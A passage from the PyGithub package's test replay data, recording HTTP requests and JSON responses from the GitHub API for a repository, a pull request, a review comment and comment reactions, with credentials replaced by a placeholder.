'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '90A4:88FDE:28198BF9:29258F15:677A88A8')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-05T09:59:57Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7122,"watchers_count":7122,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1792,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1792,"open_issues":356,"watchers":7122,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1792,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/31 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 05 Jan 2025 13:27:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"db2297841dc3d1b5c9240ab22f8961deb3d9c9b6cc235e28313b4866e8f536e1"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1736085196'), ('X-RateLimit-Used', '36'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '90B0:1146F1:234D69BB:243E14A1:677A88A8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://github.com/PyGithub/PyGithub/pull/31","diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"body":"Body edited by PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-05T09:59:57Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7122,"watchers_count":7122,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1792,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1792,"open_issues":356,"watchers":7122,"default_branch":"main"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/comments/1580134 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 05 Jan 2025 13:27:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"dd351a5549627fb7c2afab2352b1d7d086837823097578e6e25f5593aac62764"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4963'), ('X-RateLimit-Reset', '1736085196'), ('X-RateLimit-Used', '37'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '90B2:16833C:21D74E3E:22C02AC5:677A88A9')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","pull_request_review_id":null,"id":1580134,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE1ODAxMzQ=","diff_hunk":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @todo No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch","path":"codegen/templates/GithubObject.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"body":"Review comment created for PyGithub\n","created_at":"2012-09-11T20:06:32Z","updated_at":"2012-09-11T20:06:32Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134/reactions","total_count":2,"+1":1,"-1":0,"laugh":0,"hooray":1,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":73,"original_line":null,"side":"RIGHT","original_position":5,"position":5,"subject_type":"line"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestComment.testCreateReaction.txt0000644000175100001660000000456714756101563026332 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/pulls/comments/1580134/reactions {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} {"content": "hooray"} 201 [('content-length', '999'), ('x-runtime-rack', '0.077219'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"e4d556e3e2d16fc003293ad7f6afcf98"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4973'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F426:452B:1A25A1:37AB78:5A31D6DA'), ('date', 'Thu, 14 Dec 2017 01:41:46 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513217425')] {"id":17283822,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-14T01:41:46Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestComment.testDelete.txt0000644000175100001660000000064714756101563024637 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/pulls/comments/1580134 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4936'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 10:49:27 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestComment.testDeleteReaction.txt0000644000175100001660000000256714756101563026327 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/pulls/comments/1580134/reactions/85750463 {'Accept': 'application/vnd.github.squirrel-girl-preview', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Mon, 28 Sep 2020 22:15:48 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, repo:status, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.squirrel-girl-preview'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1601334930'), ('X-RateLimit-Used', '9'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', '9B34:FACF:17050546:1B72222B:5F726093')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestComment.testEdit.txt0000644000175100001660000000274114756101563024317 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/pulls/comments/1580134 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment edited by PyGithub"} 200 [('status', '200 